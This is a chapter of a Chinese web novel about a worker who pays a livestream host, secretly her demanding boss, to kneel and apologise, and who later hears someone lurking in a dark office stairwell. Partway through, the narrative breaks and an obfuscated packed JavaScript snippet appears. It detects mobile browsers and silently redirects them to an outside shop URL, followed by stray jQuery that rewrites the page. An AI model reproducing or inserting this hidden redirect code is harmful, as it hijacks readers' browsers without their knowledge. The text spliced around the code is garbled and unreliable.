夜已经沉得像化不开的墨。
许知微是踩着末班电梯的最后一秒，把自己塞回出租屋的。
楼道里声控灯明明灭灭，映出她脸上褪不去的疲惫与一层冰冷的躁意。
手机屏幕还固执地亮着，停留在项目群——她半小时前发出的最后一条确认消息孤零零地悬在那里。
程迦没有再回复，干净利落地切断了所有沟通。
她把包甩在玄关，鞋都没脱，背靠着冰凉的门板缓缓滑坐下去。
累，是从骨头缝里渗出来的。但比累更烦躁的，是那股被钉死的憋闷。
白天会议室里，她以为自己精准地扣动了扳机，瞄准的是他隐秘的偏好，子弹是她无懈可击的专业。
她甚至捕捉到了他眼中一闪而过的、不同于往常的专注。
那一刻，她几乎要确信，她摸到攻略程迦的门了。
结果呢？
门后不是她预期的、可供她穿梭掌控的幽径，而是一堵更厚、更高的墙，上面用加粗字体写着：“既然你这么能，那就你来扛。”
他更彻底地把自己工具化，把她所有锋利的反抗，都回收利用成了驱动项目的燃料。
不愧对周扒皮这个称呼啊……
“哈……”一声短促的气音从她喉咙里挤出来，像火苗蹭过干柴的噼啪响。
手机就在这时，突兀地震了一下。
推送亮起：
「您关注的主播“走leetcode”即将下播。」
许知微眼睫一颤。
所有关于策略、关于后果的理性计算，在瞬间被心头那簇憋了整晚的邪火烧成了灰烬。她几乎是带着一种自毁般的狠劲，点进了那个即将黑暗的直播间。
灯光已调至暧昧的昏黄，背景音乐流淌着慵懒的尾音。
屏幕中央，那道身影依旧维持着那份令她此刻无比憎恶的乖巧与克制，与白天那个用一句话就将她打入刑期的人，判若两人。
主控的声音慢条斯理地响起：【今日也没有收到程迦的幻想，倒是上一次的背影照片小爆，收到了千赞，就是转换不高，只有七个人产生幻想，折合328元收益。】
“剩下的172元从我窝囊费里出。”她牙咬切齿，齿间都沁着凉意。
主控一愣：【什么意思？】
只见许知微直接切入了最赤裸的交易页面——「专属定制」。
金额：500/10秒。
这次，她支付得毫不犹豫。
这笔白天需要精打细算的钱，此刻成了她手中唯一确定能砸出去的子弹。
白天，他用职权和KPI压她；现在，她用这个空间的规则和金钱，买他十秒的绝对服从。
输入框弹出，光标闪烁，像在等待审判词。
她指尖悬停了一瞬，为了将那股翻腾的恶意淬炼得更加纯粹。
然后，落下，敲击：
【跪下。】
【说你错了。】
指令短促又冰冷，带着不容置疑的践踏感。
这是对她白天所承受的被决定最直接的权力反转。
支付成功。
猩红夺目的特效悍然炸满屏幕，系统提示音冰冷而洪亮，如同法槌落下：
「感谢‘微微不微’赠送【专属定制】！请主播完成定制内容！」
弹幕瞬间炸锅，惊呼与问号疯狂滚动。
【卧槽？？？玩这么大？！】
【这是能播的吗？？？】
【这个定制到底要多少权限才能开通啊？！】
【金主妈妈今天杀气好重！】
【哥快跑！又要封了！】
许知微对一切喧嚣视而不见，她的全部感官，都死死锁在屏幕中央那个身影上。
灯光下，正在运动的身影彻底凝固了。
没有之前游刃有余的节奏把控，反倒是从肩背到腰腹，每一寸肌肉线条都骤然绷紧，像一张拉满到极致、却不知该射向何处的弓。
那是一种被突如其来的指令钉在原地的僵硬，侧对着镜头的下颌线猛地收紧，凸起的喉结极其缓慢地上下滚动了一次，仿佛在艰难吞咽某种无形却灼热的冲击。
然后，在无数道虚拟目光的凝视下，在倒计时冰冷的数字跳动中——
程迦动了。
没有丝毫犹豫或试图用技巧化解。
他极其缓慢地，屈下一边膝盖，身体重心随之沉落，最终形成了一个标准的、甚至带有一丝古典仪式感的跪姿。
镜头自上而下的角度，将他低垂的头颈、完全展开的肩胛骨线条，以及因动作而绷紧的背肌暴露无遗，构成一幅充满献祭意味与脆弱张力的画面。
紧接着，那道身影微微调整了角度，仿佛将无形的视线，精准地投向镜头之后——那个下达了不容违逆指令的自己。
许知微的呼吸瞬间滞住。
隔着冰冷的屏幕与物理距离，一种难以言喻的满足感，沉重地压了下来。
那姿态里没有愤怒的抵抗，也没有屈辱，只有一种深不见底的平静，和一种全然敞开的、近乎专注的接纳。
他开口。
经过设备处理的声线，比平日在公司时更低哑，混着一点电流的细微噪点，却奇异般地传递出一种干涩的颤意：
“……我错了。”
透过变声器的滤网，依旧清晰，顺从，毫无折损地抵达她的耳膜。
“轰——！”
一股凶猛而复杂的战栗，毫无预兆地从她尾椎骨炸开，瞬间窜遍全身，让她头皮发麻。
报复性的快感如同烈酒滚过喉咙，灼烧着她的眼眶和理智——看，程迦，你也有今天！
可与此同时，另一种更隐秘、更陌生的悸动，像毒藤般缠绕而上。
看着他以如此绝对驯顺的姿态，执行她充满恶意的指令，看着他因她而展现出这副绝无可能出现在白日的模样——
一种危险的、掌控的、乃至掺杂了一丝施虐般的满足感，混着心跳失序的慌张，狠狠攫住了她。
她靠在门板上，指尖冰凉，脸颊却烫得惊人。胸腔里，两种截然不同的情绪疯狂对冲——一边是“赢了吗？”的冰冷质问，另一边却是被眼前画面勾出的、近乎晕眩的气息不稳。
直播间在他话音落下后，陷入了死寂般的真空。
随即，便是彻底疯狂的弹幕海啸和系统刺耳的违规警告。
画面骤然一黑。
一切戛然而止。
手机屏幕倒映出她此刻微微睁大、瞳孔闪烁的眼睛，和脸上尚未褪尽的、混合着震惊、快意与一丝茫然的神情。
黑暗中，只有她自己越来越响、越来越乱的心跳声，擂鼓般敲击着耳膜。
*
之后的几天，许知微也顾不上程迦的幻想任务了。
连续的高强度运转，像一台被推到极限后仍未获准停机的设备。
新项目如同一个突然嵌入的沉重齿轮，带着它独有的、近乎苛刻的精度要求，开始碾压她原有的时间与精力分配。
旧项目的移交并非一蹴而就，无数细节需要反复确认，文档需要敲定，接手的同事需要她事无巨细地同步。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127079|196129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而属于她自己的利用幻想系统赚钱的擦边直播，则成了每日深夜一场短暂却昂贵的刑期——十分钟的搔首弄姿，换来的是私信列表里令人作呕的骚扰。
那些油腻的文字和图片，她已学会机械地删除、拉黑。
今天，又是一个加班到后半夜的日子。
办公室早已空无一人，只剩下她这一隅还亮着惨白的灯光。
许知微合上电脑时，整层楼的灯几乎已经灭尽，只剩下安全出口指示灯投下幽绿色的光。
玻璃幕墙外，是零星的路灯和远处稀薄的车流，像一座正在早已休眠的城市。
她看了一眼时间。
01:43。
竟然都过了零点。
她拎起包，肩背因为长时间伏案而僵得发痛，脚步在空旷的走廊里显得格外清晰。
这层楼，应该只剩下她一个人了。
电梯厅的灯亮着，冷白，毫无遮挡。她按下按钮，红色的数字亮起——
18。
电梯在最顶层。
她站在原地，靠近墙侧，习惯性地保持与电梯门一个斜角的距离，脚边还有保洁落下的清洁工具。
等电梯的时间被拉得很长，长到她能清楚地听见自己呼吸的回声。
就在这时——
一声极轻的响动，从未知传来。
不是电梯。
也不像风。
似乎是从楼梯间的方向传来。
许知微的后背瞬间绷紧。
那是一种很难形容的声音，像是鞋底蹭过水泥台阶，又像是有人刻意压低了脚步，却没能完全掩住重心移动时的摩擦。
一下。
又一下。
她的大脑在一瞬间完成了数个判断：
——这层楼已经下班。
——清洁人员这个时间都下班了。
——楼梯间不是主要通行路径。
——那声音，不属于正常动线。
心跳开始失序。
她能清晰地感觉到血液冲上耳膜的轰鸣，手心在几秒钟内变得潮湿。
理智在告诉她不要慌，可身体已经进入了更原始的防御状态。
她盯着电梯数字。
17。
那声音又近了一点。
不急不缓，却持续存在。
像是在确认什么。
她终于极其缓慢地，侧过头，用余光去捕捉楼梯口的方向。
光线不足，她看不清具体的轮廓，只能看到一片比周围更浓的阴影，正从楼梯拐角处延伸出来。
真有人！
这个认知落下的瞬间，恐惧不再是模糊的预感，而是具体而沉重地压在胸腔里。
她迅速扫了一眼四周：
空无一人。
电梯还在下降。
逃生通道就在身后，但那意味着要靠近楼梯。
她强迫自己站稳，顺手拿起电梯门口的扫把。
任何过快的动作，都会暴露她的慌乱。
可脚步声突然停了，像是察觉到了她的存在。
那一瞬间的静止，比继续靠近更令人头皮发麻。
电梯数字跳动此刻显得异常缓慢。
16。
她的指尖已经不自觉地扣紧了扫把，指节泛白，喉咙发紧，却逼迫自己保持呼吸的节奏。
她不知道接下来会发生什么，也不知道那个人会不会继续靠近。
她只知道——
这一刻，她清醒得不能再清醒。
而恐惧，也是真实得不能再真实。